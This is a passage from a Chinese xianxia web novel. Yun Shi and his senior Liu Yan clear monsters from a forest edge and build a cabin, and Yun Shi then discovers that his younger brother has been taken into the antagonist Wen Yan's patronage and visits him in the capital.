他看向自己刚刚试验的那块清凉布料:“这种东西,或许可以再多做一点。不显眼,但有用。” 纸鸢看着他,脸上终于露出一丝真切的笑意,那笑意里有欣慰,也有并肩作战的笃定。 “这就对了。明天,正好有一批北边来的行商要路过,我约了他们看货。都是些常年在商路上奔波、风吹日晒的苦哈哈,你的货,他们应该会喜欢。” 日子在栖霞镇外的竹林小院,过得像溪水流过石隙,看似平缓,底下却有自己执拗的流向。云天青和林秀渐渐习惯了这方小天地里的安宁,云舒则飞快地摸清了附近水源与菜畦的脾性,纸鸢的生意在微妙的排挤与沉默的认可间缓慢扎根,银钱和必需的物资如细流般汇入,支撑着这个临时家庭不坠入匮乏。 但云实心里清楚,这安宁薄如蝉翼。温言的阴影是悬而未落的剑,苏妄留下的力量在丹田深处沉默蛰伏,纸鸢描述的、那正在帝国肌理下蔓延的滞涩与衰败,更是无声的潮汛,不知何时会漫过他们这片小小的沙洲。他需要更坚实的立足之地,一个不仅能藏身,更能让他伸展手脚、真正为家人和自己撑起一片天的地方。这念头日夜啃噬着他,直到他的目光,再也无法从后院篱笆外那片被称为界碑林的莽苍山野上移开。 那片林子,像一道墨绿色的、沉默的墙,横亘在天衡宗支脉的余势与栖霞镇的人烟之间。镇上的老人说,古早以前那里是战场,修士与异类的血浸透了山岩,冲天的怨煞与紊乱的灵气改变了地脉,滋生出种种怪异的妖物精怪,多年来人迹罕至,连天衡宗的巡山弟子也大多只在外围象征性地转转。那里古木虬结,藤蔓如网,终年弥漫着淡淡的、带着腐朽与清新生机奇异混合的气息,是一片被时间遗忘的、危险与未知并存的土地。 一个念头在云实心中生了根,发了芽,日渐茁壮。它不仅仅是为了开垦几亩田,更是某种更深沉的渴望。用他自己的手,在这充满排斥与危机的世界里,真正建造出一点什么,一点属于云实的,能让他所爱之人安稳栖息的所在。 这心思,自然瞒不过与他同吃同住、气息相闻的流衍。 这日傍晚,流衍从加固院落外围的隐匿阵法回来,额角带着细微的汗意,青色旧袍的下摆沾了几片竹叶。他走进后院,便看见云实独自立在篱笆边,背对着渐沉的落日,身影被拉得很长,正一动不动地望着暮色中那片越发显得幽深莫测的界碑林。晚风拂过他有些凌乱的发梢和洗得发白的粗布衣肩头。 流衍没有立刻出声,他放轻脚步走过去,在云实身侧半步远的地方停下,也随他的目光望向那片林子。两人并肩而立,沉默了片刻,只有风吹竹叶的沙沙声,和远处镇子方向隐约传来的、孩童归家嬉闹的渺远声响。 “那林子,”最后还是云实先开了口,声音不高,像在自言自语,又像在说给身边的人听,“看着真深。” “嗯。”流衍应了一声,语气平静,“界碑林。古战场遗存,灵气杂乱,精怪滋生,不是什么善地。” 云实侧过头,看了流衍一眼。夕阳的余晖给流衍清减的侧脸镀上了一层暖金,也让他眼下那淡淡的青黑更明显了些。这段时日,流衍不仅要暗中留意天衡宗内的风声、应对可能的追查线索,还要帮着安顿他的家人,心思耗费绝不比他少。 “纸鸢说,外面世道不太平,好些地方连种子都成了稀罕物,农户种不起地。”云实转回目光,继续看着林子,声音里带着一种沉静的思索,“可你看这林子边上,土是黑的,落叶腐了一层又一层,下面的地力不知有多肥厚。若是能清理出来……” 流衍立刻就明白了他的未尽之意。他没有惊讶,仿佛早已料到云实会生出这样的念头。 他只是微微蹙了下眉:“界碑林范围不小,边缘地带妖物虽多属低阶,但数目繁杂,习性诡谲,更有古战残留的紊乱灵气干扰感知,清理起来耗时费力,且难保不会引出深处更麻烦的东西。开垦之事,更非一日之功。” “我知道。”云实点点头,指尖无意识地摩挲着粗糙的篱笆竹条,“以前觉得,这种地方是威胁,躲着走还来不及。” 他顿了顿,声音里注入了一丝不同以往的、带着微弱锋芒的笃定,“但现在,或许不一样了。威胁,也可以变成屏障,或者……资源。” 他终于完全转过头,正视着流衍,眼中映着最后的天光,清澈而坚定:“而且,我们不能总住在纸鸢姐这里。爹娘嘴上不说,心里总归是客。我想……在靠近林子、但又离小院不太远的地方,我们自己起两间屋子,哪怕简陋些。再一点点,把近处的林子清出来,整出几畦能自己种点菜蔬和普通药草的地。有了自己的地方,心里才踏实。” 他眼神却一瞬不瞬地看着流衍。 流衍望进他眼里,他的心像是被什么东西轻轻撞了一下,又酸又软。他当然明白云实的渴望,也理解这份渴望背后的不安与决心。 他没有立刻回答,而是也转回头,再次审视那片暮色中的林海。风险评估,资源考量,宗门态度,潜在麻烦……诸多思绪在他脑中飞快掠过。 最终,他缓缓吁出一口气,侧身对着云实,语气沉稳地开口:“此事,需得先探明天衡宗的态度。界碑林毕竟毗邻山门,虽属弃地,亦不可擅自大动干戈。” 云实眼睛微微一亮,流衍这话,便是应允了参与,且开始思考具体步骤。 “师兄说得是。” 他立刻接道,“此事……能否劳烦师兄回宗一趟,探探口风?只需问个大概态度,不必提及我具体姓名,只说是……受朋友之托,有意清理边缘妖物,尝试垦殖。” 流衍点头:“好,明日我便回去一趟。” 他顿了顿,看着云实,补充道,“你也需答应我,在我回来之前,不可独自深入林子探查。要动,也需等我回来,一同筹划。” 他语气里的关切与不容置疑的坚持,让云实心头一暖,乖乖点头:“我晓得轻重,师兄放心。” 事情就此定下。两人又站在篱笆边商议了片刻,大致划定了可能选作屋址的区域,就在竹林边缘与界碑林接壤的一处向阳缓坡。 翌日一早,流衍只着一身最普通的青色旧袍,借着晨雾悄然离去。他并未前往寻常执事殿,而是绕开主道,凭借对宗门地形的熟悉,避开可能引起注意的路径,直奔掌门日常处理琐务的侧院。他知道,此时天蕴多半在那里。 果然,在侧院一间陈设简朴、堆满文牍的书房里,他见到了正揉着眉心审阅卷宗的天蕴。她看起来比上次见面时更显疲惫,在看到流衍悄然出现时,也只是闪过一丝了然的波澜,并无太多惊讶。 “师兄。”天蕴放下笔,示意他坐下,又挥手布下一道隔音屏障,动作干脆利落,“你倒是会挑时候。此刻阁中人多眼杂,长话短说。” 流衍也不客套,径直说明了来意。云实想清理界碑林边缘妖物,尝试垦殖,询问宗门态度。他略去了云实的名字,只说是“那位朋友”,但天蕴显然心知肚明。 天蕴听完,沉默了片刻,指尖在桌面上轻轻敲了敲,发出规律的轻响。她抬眼看向流衍,目光深邃:“界碑林……那地方,灵气混杂,地气不稳,更兼古战残念未消,滋生些不成气候的精怪,向来被视为鸡肋。宗门早年也派人清理过几次,耗时耗力,收益寥寥,后来便只在外围设下警示,不再深管。” 她顿了顿,语气里带着一丝复杂的意味,“他倒是胆大,也够务实。想在那地方落脚,不容易。” “正因不易,才需宗门一个明确态度。”流衍语气平稳,“是拦,是放,还是可有可无?” 天蕴站起身,走到窗边,望着外面缭绕的云雾和隐约可见的界碑林方向,背影显得有些孤峭。她如今身在这个位置,才更清楚宗门的千头万绪和诸多掣肘。霁雪师尊飞升后留下的不只是权位,更有无数双眼睛和暗流。流衍和云实的身份都敏感,此事若处置不当,极易授人以柄。 但……她想起流衍重伤初愈却更显沉静的眼神,想起云实那身古怪又执拗的劲头,还有纸鸢传来的、关于外面世道日益艰难的消息。或许,让那个总在绝境中寻路的家伙,在宗门眼皮底下、却又无人问津的荒僻之地,自己折腾出一片立足之地,并非坏事。至少,那是一个可以观察的窗口,一个或许能在将来混乱中提供某种意外可能的……种子。 她转过身,脸上已恢复了掌门特有的、带着适度威严的平静:“清理妖物,本是善举,亦可稍靖周边。垦殖荒土,亦是民生。只要不触及林中可能存在的上古禁制遗迹,不过度毁损有灵古木,不惹出波及凡俗镇集的大乱子……” 她看着流衍,一字一句道,“宗门,便只当不知。既无明令许可,亦不会横加阻拦。一切后果,自负。你可明白?” 流衍深深看了她一眼,明白了这话里的全部含义:天蕴不会以掌门令的形式公开支持,这避免了落人口实和直接关注;但态度是默许,甚至是一种无言的庇护,为他们划出了一块可以自行其是的灰色地带。这已是目前形势下,她能给出的、最妥当的回应。 “明白了。”流衍起身,郑重一揖,“多谢掌门。” “不必谢我。”天蕴摆摆手,重新坐回案后,拿起笔,语气恢复平淡,“替我看好他,也……顾好你自己。界碑林并非表面那般简单,早年勘探的卷宗在藏书阁乙字第七架,若有闲暇,可自行翻阅,但勿要外传。去吧。” 流衍记下,不再多言,悄然退出了听松阁。 晌午过后,流衍回到竹林小院。云实早已等得有些心焦,见他回来,立刻迎上。两人避开家人,来到僻静处。 “如何?”云实压低声音问。 流衍将面见天蕴的经过,以及天蕴那番“只当不知、亦不阻拦”的态度原话转述,略去了天蕴后面的提醒和卷宗之事,只强调了宗门默许的现状。 云实听完,愣了片刻,随即嘴角微微勾起。没有正式的许可,反而让他更安心。这种模糊地带,正是他和流衍目前最需要的。 “倒是……干脆。” 他低声道,这次的笑意里多了几分了然与沉着。 天蕴的态度,与其说是放任,不如说是一种基于现状和有限信任的、谨慎的默认。这比正式许可更符合他们低调行事的需要。 “既然如此,”云实握了握拳,眼中燃起切实的、不再犹豫的行动之火,“我们便动起来。” 清理地基、建造木屋的计划立刻提上日程。两人没有大张旗鼓,只对家人简单说了要在附近整理块地方,以备不时之需。云天青和林秀虽有些担忧,但见云实神色笃定,流衍亦在旁沉稳点头,便不再多问,只嘱咐千万小心。 选址的那片缓坡,荒草蔓生,灌木杂陈,几块半埋土中的巨石上爬满了暗绿色的苔藓,空气里弥漫着潮湿的泥土与腐殖质气息,比之外围竹林,更多了几分野性的荒蛮。 第一日,主要是清理地表植被,探查浅层情况。云实提着柴斧,流衍负剑在侧,两人踏入齐腰深的草丛。动作间,惊起草叶间窸窣虫鸣,也搅动了此地经年沉淀的、混杂着微弱妖气的静谧。 起初只是些蛇虫鼠蚁,被轻易惊走。但当云实一斧砍向一丛格外粗壮、茎秆呈现不祥暗红斑纹的荆棘时,异变陡生。斧刃斩断荆棘的瞬间,地下传来令人牙酸的“沙沙”声,泥土翻涌,四五条形似蜈蚣、却长着灰黑色鼠头、口器开合间滴落粘液的怪虫猛地钻出,速度奇快,直扑云实裸露的脚踝与小腿! “小心地竦虫!”流衍低喝,剑已出鞘半寸,青光隐现。 云实眼神一凝,却并未慌乱后退。他脚下步法诡异地一错,并非避让,反而迎着最先扑至的那条怪虫,手中柴斧未收,只是手腕极其细微地一抖,斧柄末端看似随意地向下一磕——没有凌厉的破风声,只有一股凝练如针、性质奇特的乱力,顺着斧柄震荡而出,无声无息地拂过那几条怪虫。 说也奇怪,那几条气势汹汹的地竦虫,被这股力量扫中的刹那,前扑的动作骤然一僵,像是体内控制行动的某种秩序或协调被瞬间打乱,细密的节肢失去了同步,彼此撞挤扭结成一团,晕头转向地在原地扭曲翻滚了片刻,竟发出“吱吱”的尖细惊叫,仓皇无比地重新钻回泥土深处,只留下几个迅速被填平的小洞。 流衍的剑彻底归鞘,他看向云实,眼中掠过清晰的讶异与赞赏。这一下举重若轻,对力量的精准控制和巧妙运用,远非数月前的云实可比。 “看来,”云实甩了甩斧刃上沾着的、带有淡淡腥气的草汁,语气平静,仿佛刚才只是拂去了几片落叶,“它们比想象中还要不喜欢秩序被打乱。” 这只是个开始。随着他们清理范围的扩大,惊动的东西也越来越多。每日的“清理”工作,渐渐成了云实与流衍之间一场无声的配合演练。云实通常主攻在前,流衍则如影随形,负责策应、补漏与终结。两人之间几乎无需言语,一个眼神,一个细微的动作调整,便能明白彼此的意图。流衍的沉稳周全与云实日益增长的机变灵动,形成了绝佳的互补。 战斗间隙,流衍也会指点云实辨认一些常见的低阶妖物特性、弱点,以及山林中可能遇到的毒瘴、迷阵的粗略辨识法。 清理妖物之余,搭建木屋的工程也同步开始了。云实负责伐木取材。当他真正挥斧砍向界碑林边缘那些质地各异的树木时,对木材的纹理、密度、韧性有了最直观的感受。他甚至开始尝试,在砍伐前,用织理的思维去感知树木内部纤维的走向,用极其微量的乱力稍加引导,使斧刃落下时能更顺应其理,减少反震,得到更规整的木材。有时遇到特别坚硬或纹路奇异的树木,他也会停下来,仔细摩挲断面,琢磨若是用这种木料作为某些特殊织纹的载体,可能会有什么效果。 流衍则负责更精细的榫卯设计、结构力学考量,以及在新屋地基和关键构件中预埋简单的防护、预警阵法符文。他出身天衡宗,虽非专精土木营造,但基础扎实,眼光精准。两人都不是熟练的木匠,进度称不上快,常常为了一个榫眼是否合适、一根梁木的摆放角度而反复比划、商量。但一斧一凿,一剑一榫,都极为认真投入。小小的地基上,渐渐有了歪斜却结实的墙壁轮廓,有了架起的主梁和开始铺设的屋顶骨架。 汗水浸透粗布衣裳,手上磨出水泡,又被灵力悄然修复。腰背因长时间弯腰挥斧或举木而酸疼,夜晚打坐调息时便能清晰感知。但这身体上的疲累,却奇异地带来一种心灵上的充实与平静。 休息时,两人常并肩坐在半成的、还散发着新鲜木头清香的屋架阴影下,喝着云舒掐着时辰送来的、用溪水湃过的凉茶,看着眼前被清理出来的、裸露着黑色沃土的空地,以及更远处依旧幽深神秘、仿佛蕴藏着无尽秘密的林莽。远处竹林小院炊烟袅袅,竟有几分世俗烟火的暖意。 “以前觉得,力量这东西,就是用来打架、保命、或者从别人手里抢东西、争口气的。”云实用衣袖抹了把额头上晶亮的汗珠,望着那由自己亲手参与搭建起来的、粗糙却坚实的梁柱轮廓,声音里带着一种陌生的、满足的叹息,“现在觉得,能用来砍树、清地、盖个能遮风挡雨的房子,好像……也挺实在。” 这是一种脚踏实地的成就感,与他钻研织理秘术、提升个人修为时的颅内激荡截然不同,更质朴,也更让人心安。 流衍坐在他旁边,背靠着一根尚未完全刨光的柱子,闻言侧头看他。夕阳的余晖透过稀疏的屋顶骨架,在云实沾着木屑和尘土的脸上投下明明暗暗的光影,那张脸比初见时成熟坚毅了许多,此刻却因这简单的满足而透出一种近乎稚气的光亮。流衍心中那处因长久担忧、孤身追查而冰封沉郁的角落,仿佛被这光亮悄然照拂,正在一点点融化、回暖。他没说什么,只是将自己手中喝了一半的竹筒水杯,很自然地递了过去。 云实接过来,仰头喝了一大口,清凉的溪水滑过喉咙,带着竹筒特有的淡淡清气。他喝罢,没有立刻递回,而是就着两人极近的距离,抬眼看向流衍。流衍也正看着他,四目相对,近得能看清彼此眼中映着的、小小的、属于对方的影子,以及瞳仁深处那些无需言说的疲惫、关切、默契,还有一丝更深沉的、在共同劳作与御敌中悄然滋长的联结。 周围很安静,只有风吹过新伐木桩断面的细微呜咽,和更远处林间归鸟的啼鸣。云实的喉结轻轻滚动了一下,握着竹筒的手指无意识地收紧。流衍的呼吸似乎也微微滞了一瞬,长长的眼睫垂下片刻,又抬起,目光落在云实因为劳作和日晒而有些干燥的嘴唇上。 就在某种无声的、微妙的气息即将酝酿成形时。 “哥!流衍师兄!娘说饭好了,今天蒸了腊肉,让你们快回来趁热吃!” 云舒清脆的喊声穿透竹林,由远及近,带着活蹦乱跳的生气。 那瞬间凝聚的、若有似无的暧昧气息,像被戳破的肥皂泡,噗一下消散在晚风里。 云实猛地回过神,有些仓促地站起身,将竹筒塞回流衍手里,脸上腾起一抹可疑的热度,嘴里含糊应着:“哦……哦,就来!” 说着,几乎有点同手同脚地转身,朝着小院方向快步走去,背影透着股欲盖弥彰的慌乱。 流衍握着尚带余温的竹筒,看着他那几乎是落荒而逃的背影,先是怔了一下,随即,一丝极淡、却真实的笑意,如同破开冰面的第一缕春风,缓缓从他向来清冷紧绷的唇角漾开,一直蔓延到眼底。他摇了摇头,也站起身,拍了拍衣袍上的木屑尘土,不紧不慢地跟了上去。脚步,却比往日轻快了几分。 界碑林边缘的那栋小屋,在夏末秋初的日光里,终于有了完整的模样。虽称不上精致,但原木的墙壁厚实,屋顶的茅草铺得层层叠叠,能遮风挡雨。云实特意隔出了一间朝南、光线最好的屋子作为工坊。里面没有太多陈设,一张宽大的、用边角料拼成的木桌,几排摆放丝线、碎布和简陋工具的架子,墙角堆着些他从林子里寻来的、质地各异的试验性材料。最重要的,是他从青石镇家里悄悄带回的那架旧织机,经过他亲手调整和用“织理”手法加固后,成了他探索新可能的忠实伙伴。 这小半年,白日里,他多半时间与流衍一同,继续向界碑林更深处,缓慢而坚定地推进清理。战斗不再是每日必须,更多时候是勘测地形、辨识植物、驱赶偶尔闯入划定范围的零散妖物。他们甚至在已清理区域的边缘,辟出了几小块试验田,撒下了纸鸢设法弄来的、最耐贫瘠的菜种和几种常见低阶灵草的种子,长势虽慢,却绿意喜人。流衍的阵法造诣在这片新土地上得到了充分施展,预警、防护、聚灵、隐匿,层层叠叠的简易阵法将小屋和开垦地悄然包裹,虽挡不住真正的高人,却能避开大部分不必要的窥探与骚扰。 夜晚或雨日,云实便泡在工坊里。他对织理的钻研,因有了相对安稳的环境和更丰富的材料,进入了更深入的阶段。他不再仅仅满足于制作有特殊功效的布料,开始尝试将不同的纹路进行叠加、嵌套,探索它们之间可能产生的协同或拮抗效应。进展缓慢,时有失败,炸毁一小块布料或弄乱一整团丝线是常事,但云实乐此不疲。这种完全沉浸于创造与探索的心流,是他抵御外界纷扰、平复内心焦虑的最好方式。 流衍则在一旁调息、阅读天蕴暗示过的、关于界碑林早年勘探的卷宗抄本,或是在云实遇到灵力操控难题时,以他正统的修行见识给予点拨。两人各据工坊一角,互不打扰,却又气息相连。有时云实研究到忘我,流衍便会默默煮好一壶粗茶,或从厨房端来温着的简单饭食。无需多言,一种扎实的、如同屋外那些逐渐成形的田垄般的安宁,在这方小天地里滋生。 然而,树欲静而风不止。他们这片小小的世外桃源,终究无法完全隔绝外界的波澜。通过纸鸢日益扩展的商业网络和流衍与天蕴之间极隐秘的联系,关于外界风雨的消息,还是断断续续地传了进来。 最大的动荡,终于围绕这“非正统力量路径”爆发了。苏妄的序乱之道,对于那些在正统宗门体系中苦熬无望、资源匮乏的低阶修士,或是一些厌倦了陈腐教条、渴望突破的叛逆者而言,这些看似歪门邪道的东西,散发着难以抗拒的诱惑力。悄然间,形成了两种截然不同的思潮与派别。 一派视大自在天和苏妄为指路明灯,渴望获取其传承或合作,认为这是打破垄断、另辟蹊径的希望。另一派则激烈反对,斥之为破坏修行根基、惑乱人心的邪魔外道,高举维护正统的大旗,要求剿灭大自在天,肃清流毒。由于历史积怨和现实利益,排挤大自在天在明面上是毋庸置疑的政治正确,因此后者声势浩大,裹挟了众多宗门和散修,冲突从口诛笔伐迅速升级为小规模的摩擦、偷袭,乃至局部的势力争斗,搅得许多地方不得安宁。 这种混乱局面,终于引来了真正的巨头干预。以监察天下、协调各方势力著称的四明宗出面,发起调解,试图将冲突框定在可控范围内,避免全面失控。而向来以“万物并育,道法自然”为宗旨、宣称绝对中立的万象无常殿,则因其超然地位,意外地成为了许多试图暗中接触或投奔大自在天之人的秘密中转站和临时庇护所,在这股暗流中扮演着暧昧不清的角色。 作为距离大自在天不算遥远、且本身是传统正道标杆之一的天衡宗,被不可避免地卷入了这场由四明宗主导的调解漩涡。天蕴这个新任掌门,面临的压力陡增。她需要在四明宗的框架下表明立场,应对宗内可能的不同声音,还要在万象无常殿那不可预测的中立姿态旁周旋。但她手段老练,明面上参与调解,持论公允,实则巧妙地将各方注意力引向更宏观的秩序讨论,暗中传递消息,让流衍和云实知晓,这场风波的核心焦点暂时被四明宗和几大势力的扯皮所吸引,短期内不会落到被刻意忽略的界碑林边缘地带。她明确暗示,纸鸢的生意和云实这边的动静,只要保持现有的、近乎原始的规模和极度的低调,她便有能力将其描述为无关紧要的凡人营生,就能遮盖在更引人注目的纷争之下。 云实和流衍因此得以暂且置身事外,继续经营他们的小小天地。但云实心里明白,自己与苏妄那斩不断的联系,以及织理本身代表的异数属性,迟早会引来关注。他只能抓紧时间,让自己和这片土地变得更扎实一些。 直到一个秋雨连绵的午后。 纸鸢前日送来一批新的染料和普通丝线,附信中提到青石镇老宅似乎一直无人回去,镇上有邻居问起,她帮忙敷衍了过去,但提醒云实若有机会,最好亲自回去看看有无遗漏的重要物件,毕竟他们当初走得仓促。 云实思忖再三,决定趁雨夜回去一趟。他如今对力量的掌控今非昔比,御斧飞行已颇为娴熟,加上雨夜掩护,往返青石镇并非难事。流衍本想同去,但云实坚持他留下看顾父母和刚刚有点眉目的灵草田,并保证快去快回。 雨夜中的青石镇寂静无声,熟悉的街巷在雨中显得陌生而寥落。云锦记的门板紧闭,蒙着厚厚的灰尘。云实如同鬼魅般滑入后院,轻车熟路。他本意只是检查一下地窖里是否还有父母舍不得、当时未能带走的祖传织机部件,或是母亲藏于某处的少许应急银钱。 就在他小心翼翼翻找时,目光无意中掠过堂屋窗下那个他亲手钉制、用来收取信件的简陋小木箱。箱子挂锁早已锈蚀,在夜风中微微晃动。鬼使神差地,他走了过去,用一点巧劲弄开了已然不牢靠的锁扣。 箱子里积了薄薄一层灰,只有一封信。信封是廉价的黄麻纸,没有落款,但上面的字迹,云实一眼就认了出来——是弟弟云岭的笔迹,比记忆中更加工整有力,却也更加……陌生。 信纸被抽出,因潮湿而有些发软。日期是一个月前。 信的开头是寻常的问候报平安,说自己在州府学馆一切安好,课业精进,得到师长赏识。然后,笔锋一转,语气带着压抑不住的激动与荣耀: “……兄长或许不知,日前机缘巧合,小弟的一篇策论得蒙当朝侍读学士温言温大人青眼。温大人不仅亲笔点评嘉许,更于日前召见,垂询家中状况,勉励有加。温大人言道,朝廷正值用人之际,似小弟这般踏实勤勉、家世清白的学子,正当破格擢用,以展抱负。大人已许诺,待下月吏部铨选,便为小弟谋一实缺,先行历练……” 后面的字迹在云实眼中模糊、扭曲、放大,又猛地收缩,化作一根冰冷的针,狠狠扎进他的瞳孔,刺穿他的脑髓,钉死在他的心脏上! 温言! 是温言! 那个在京城书房里温和而冷酷地拿出契约与聘书、那个用家人安危作为筹码、那个被他拼死挣脱的温言!他把手伸到了青石镇,伸到了弟弟身上!一个月前……正是他在界碑林砍下第一斧、流衍去见天蕴的时候!温言竟然那么早就…… 无边的寒意瞬间攫住了云实,比界碑林最深处的阴冷更刺骨。他捏着信纸的手指颤抖起来,指节泛白。雨水顺着未关严的窗缝飘进来,打在信纸上,晕开了墨迹,也模糊了温言那两个字,却让它们显得更加狰狞、更加无处不在。 温言想做什么?用云岭的前程乃至性命,作为新的、更牢固的锁链?还是说,这仅仅是一个警告,一个宣告他无所不在、随时可以拿捏云实软肋的提醒? 恐惧,冰冷的、黏腻的恐惧,伴随着滔天的怒火和被彻底算计的无力感,如同这秋夜的寒雨,将他从头到脚浇得透湿。他背靠着冰冷的墙壁,缓缓滑坐在地上,手中的信纸飘落,沾了尘土。 工坊里温暖的灯光,界碑林边新绿的菜苗,流衍沉默却坚实的陪伴,父母日渐安宁的面容……这半年来小心翼翼构筑的一切,在这封来自一个月前的旧信面前,仿佛突然变成了纸糊的屋子,而温言,正站在远处的阴影里,微笑着,举起了火把。 雨,下得更急了。远处传来隐约的雷声,像是某种沉闷而不祥的鼓点。云实坐在老屋的尘埃与阴影里,一动不动,只有胸膛剧烈地起伏着,眼中最初的惊骇与混乱,正一点点被一种更深的、近乎绝望的狠厉与决绝所取代。 …… 秋雨带来的寒意,似乎从那夜之后,就浸透了云实的骨髓。界碑林小屋的温暖,流衍沉默的陪伴,工坊里那些渐有眉目的研究,都暂时无法驱散那封信带来的冰冷黏腻的恐惧与焦灼。他必须亲眼确认云岭的状况,必须亲口和弟弟说上话。 这次,他将弟弟云岭可能已被温言擢用以及自己必须去京城一见的事,原原本本告诉了流衍。 流衍听完,沉默了比以往更长的时间。他站在窗边,望着外面被秋雨洗刷得有些黯淡的竹林,侧脸的线条绷得很紧。云实几乎能听到他脑中飞快评估风险、权衡利弊的声响。 “我跟你去。”流衍最终转过身,语气没有半分转圜余地。他看着云实,眼神锐利如昔,深处却翻涌着比上次更沉郁的坚持,“上次你回温府,我重伤未愈,只能任你独往。如今既已恢复,断不能再让你一人涉险。京城不比别处,温言根基深厚,耳目如网。你孤身前往,一旦被察觉,便是自投罗网。有我在,至少能多一分警觉,也多一条退路。” 云实想反驳,想说自己去反而更隐蔽,想说界碑林这边和家里更需要他坐镇。但话到嘴边,看着流衍眼中那不容置疑的坚持,以及深处藏不住的忧虑,他发现自己无法开口拒绝。他知道,流衍的担忧有理,而自己心底,也并非全无惧意。温言那座看似温文尔雅的府邸,如今在他心中,不啻于龙潭虎穴。 “好。”云实最终点头。 两人做了简单准备。云实将一些最关键的织理手稿和几样试验成功的小物件妥善藏好,又去竹林小院安抚了父母,只说与流衍师兄有事需外出数日。云天青和林秀虽有些不安,但见流衍同行,又看儿子神色沉稳,便没有多问,只反复叮嘱小心。 离了栖霞镇,他们选择了一条相对常规的路线。他们从常走的西侧门排队入城,流衍熟门熟路地带着云实,在外城西南角一片客栈、车马行、小酒馆林立的区域,寻了家中等价位的客栈住下。 安顿下来后,流衍外出,以天衡宗弟子的身份,去户部衙署所在的街区附近转了转,观察了一下进出规矩和周边环境。 流衍带回的消息不容乐观。户部度支司主事,虽只是正六品官职,但正如云实所知,位置极为关键,掌管天下钱粮预算审计,牵涉利益千丝万缕。新任主事云岭,据说是由侍读学士温言大人亲自举荐,破格提拔,近日才走马上任,在户部正是引人注目之时。想见他,尤其是在非公开场合私下见面,几乎不可能。所有拜会,尤其是亲属探访,均需提前经由其所在衙门报备记录,会面也多安排在半公开的官署会客场所,且有吏员在场,名为协助,实为监视与记录。 “温言这是把他放在了聚光灯下,也是放在了一个透明的笼子里。”流衍沉声道,眼神冰冷,“一举一动,皆在瞩目与记录之中。我们若想私下接触,极易暴露,且会立刻引起温言的警觉。” 云实的心沉了下去。他料到见弟弟不易,却没想到看管得如此严密。这越发印证了温言的意图。 “半公开……就半公开。”云实深吸一口气,压下心头翻涌的情绪,眼中闪过一丝决绝,“我去递帖子,以兄长身份,请求探视。就在他们安排的会客室见。温言既然敢让云岭走到这个位置,大概也料到我可能会来。他或许正等着看我的反应。” 他顿了顿,语气带着一种豁出去的冷硬,“他现在还不能、或者不想明目张胆对云岭如何,而我现在……也没那么怕被他发现了。” 翌日,云实换上了一身干净的、料子普通的青布长衫,努力让自己看起来像一个关心弟弟、或许还带着点土气的寻常兄长。他独自来到户部衙署那气势森严的侧门,向守门的胥吏说明来意,递上了早已准备好的名帖。 胥吏接过名帖,打量了他一眼,眼神有些古怪,但还是公事公办地进去通报。等待的时间格外漫长,云实能感觉到暗处似乎有多道目光扫过自己。约莫两刻钟后,那胥吏才出来,领着他从侧门进入,穿过几条回廊,来到一处颇为宽敞、陈设简单却规整的厅堂。厅堂采光很好,门窗敞亮,里面已有两名穿着户部低级官吏服饰的人坐在一侧的案几后,面前摊开着纸笔,显然便是记录之人。 云岭还没到。云实被引导着在客位坐下,有杂役上了杯温茶。他目不斜视,双手放在膝上,指尖却微微收拢,感受着掌心那枚流衍给的玉牌传来的微凉触感,和自己并不平稳的心跳。 又等了一会儿,脚步声从门外传来。云实抬眼望去。 走进来的年轻人,穿着一身合体的、象征着六品官身的青色鹭鸶补服,头戴乌纱,身姿挺拔,步履间带着一种新晋官员特有的、努力维持的沉稳,却又掩不住眉宇间那份少年得志的飞扬。是云岭,但又不太像云岭。记忆中那个在灯下苦读、眉眼间总带着书生执拗和些许天真忧虑的弟弟,仿佛被一层无形的釉彩包裹了起来,显得光鲜,却也陌生。他的气色很好,只是眼神……当他的目光与云实接触时,先是一怔,随即迅速浮起熟悉的、属于弟弟的惊喜,但那惊喜背后,似乎有一丝极快的、难以捕捉的茫然掠过,快得让云实几乎以为是错觉。 “哥!”云岭快步上前,脸上绽开笑容,声音里是实实在在的喜悦,“你怎么来了?也不提前捎个信!我还想着等公务稍闲,便告假回去看望爹娘呢!” 他挥手让那两名记录的小吏不必多礼,自己在云实旁边的椅子上坐下,目光热切地上下打量着兄长,“哥,你看起来……气色还行。就是好像瘦了些?家里一切都好吗?爹的伤没再犯吧?” 一连串的问题,关切之情溢于言表。云实紧绷的心弦微微一松,弟弟还是那个弟弟,至少在面对他时,那份亲情未变。 “家里……都还好。”云实按下心中的疑虑,顺着云岭的话头,用早就准备好的说辞答道,“爹需要静养。镇上的铺子,因为爹需要人照顾,暂时关了一阵。我带着爹娘和云舒,出去走了走,换个环境,也算是……散散心,躲个清静。” “关了铺子?”云岭愣了一下,旋即脸上露出愧疚之色,“都是我不好,只顾着自己读书科举,家里的事一点忙都帮不上,还让爹娘和哥你操劳。现在总算……总算我也有了些出息,哥,以后家里的事,我也能分担了!” 他说着,脸上又焕发出光彩,压低了些声音,带着抑制不住的兴奋,“哥,你可知道,我如今在户部度支司任职,是温言温大人亲自举荐的!温大人真是慧眼识珠,对我有知遇之恩!他说我踏实勤勉,文章有实务之见,是可造之材……” 他滔滔不绝地说起温言的赏识,说起户部公务的重要与繁忙,说起同僚的敬佩与上官的器重,眼里闪着光,那是一种混合着感恩、自豪和对未来无限憧憬的光芒。他的记忆和认知牢牢定格在了很久以前,那个云实带着“有本事的师兄”回家给父亲疗伤、然后他自己离家继续求学的时刻。 “温大人……确是‘有心’了。只是,晋升虽是好事,但也需脚踏实地。你还年轻,多在下面历练历练,扎实根基,未必是坏事。有些事……不必急于一时。” 他试图委婉地提醒,目光紧紧盯着云岭的眼睛。 云岭眨了眨眼,脸上掠过一丝困惑,似乎没完全理解兄长的深意,但很快又笑起来:“哥,你放心,温大人安排周全,同僚们也都很帮衬。我会好好做的,绝不辜负温大人的期望,也绝不给咱家丢脸!” 他语气坚定。 时间在看似融洽的兄弟闲谈中一点点流逝,但那两名记录的小吏始终端坐一旁,笔墨不时挥动,提醒着云实此地并非叙家常之所。他知道不能再拖了。 “岭儿,”云实身体微微前倾,声音压得更低,确保只有云岭和最近的那名小吏能勉强听清,“你如今公务繁忙,但父母年纪大了,总是念叨你。你看,什么时候能抽空回去一趟?不用太久,哪怕一两天也好,让爹娘看看你,他们也安心。” 云岭闻言,立刻点头:“这是自然!我本就打算近期告假。哥,你们现在……还在外头散心?还是回青石镇了?” “暂时安顿在一处清静地方,给爹养病。”云实含糊道,随即抛出了关键的话,“这样,你若回去,先到家看看。如果家里没人,就去我们小时候常去的那个‘老地方’等我。记得吗?就是镇子后面,小溪拐弯的那片小竹林。” 